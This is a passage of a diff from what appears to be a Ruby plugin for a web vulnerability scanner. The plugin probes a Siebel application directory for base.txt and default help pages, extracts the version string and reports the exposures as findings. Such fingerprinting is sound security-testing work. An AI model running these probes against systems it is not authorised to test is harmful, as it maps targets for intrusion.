:chat => chat,
|
96
|
+
:title => "#{app_dir}",
|
97
|
+
:check_name => "Siebel Stats Page",
|
98
|
+
:class => "Siebel: Stats Page"
|
99
|
+
)
|
100
|
+
end
|
101
|
+
|
102
|
+
# check for base.txt
|
103
|
+
base_test = chat.copyRequest
|
104
|
+
base_test.appendDir app_dir
|
105
|
+
base_test.replaceFileExt("base.txt")
|
106
|
+
# puts base_test.url
|
107
|
+
status, base_request, base_response = fileExists?(base_test, :default => true)
|
108
|
+
|
109
|
+
if status == true and base_response.has_body?
|
110
|
+
version = nil
|
111
|
+
if base_response.body.strip =~ /^([0-9.]*) /
|
112
|
+
version = $1
|
113
|
+
end
|
114
|
+
addFinding( base_request,base_response,
|
115
|
+
:test_item => base_request.url.to_s,
|
116
|
+
:check_pattern => "base.txt",
|
117
|
+
:proof_pattern => "#{base_response.status}",
|
118
|
+
:chat => chat,
|
119
|
+
:title => "#{app_dir}",
|
120
|
+
:check_name => "Siebel Version #{version}",
|
121
|
+
:class => "Siebel: Version #{version}"
|
122
|
+
)
|
123
|
+
end
|
124
|
+
|
125
|
+
# check for About_Siebel.htm and siebindex.htm
|
126
|
+
%w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df|
|
127
|
+
default_test = chat.copyRequest
|
128
|
+
default_test.appendDir app_dir
|
129
|
+
default_test.replaceFileExt(df)
|
130
|
+
status, default_request, default_response = fileExists?(default_test, :default => true)
|
131
|
+
|
132
|
+
if status == true
|
133
|
+
addFinding( default_request,default_response,
|
134
|
+
:test_item => "#{default_request.url.to_s}",
|
135
|
+
:check_pattern => "#{df}",
|
136
|
+
:proof_pattern => "#{default_response.status}",
|
137
|
+
:chat => chat,
|
138
|
+
:title => "#{df}",
|
139
|
+
#:check_name => "Siebel Version #{version}",
|
140
|
+
:class => "Siebel: Default Files"
|
141
|
+
)
|
142
|
+
end
|
143
|
+
end
|
144
|
+
|
145
|
+
end
|
146
|
+
rescue => bang
|
147
|
+
puts bang
|
148
|
+
puts bang.backtrace
|
149
|
+
end
|
150
|
+
[ test_request, test_response ]
|
151
|
+
}
|
152
|
+
yield checker
|
153
|
+
end
|
154
|
+
end
|
155
|
+
end
|
156
|
+
|
157
|
+
rescue => bang
|
158
|
+
puts bang
|
159
|
+
puts "ERROR!! #{Module.nesting[0].name}"
|
160
|
+
raise
|
161
|
+
|
162
|
+
end
|
163
|
+
end
|
164
|
+
|
165
|
+
end
|
166
|
+
# --> eo namespace
|
167
|
+
end
|
168
|
+
end
|
169
|
+
end
|
170
|
+
end
|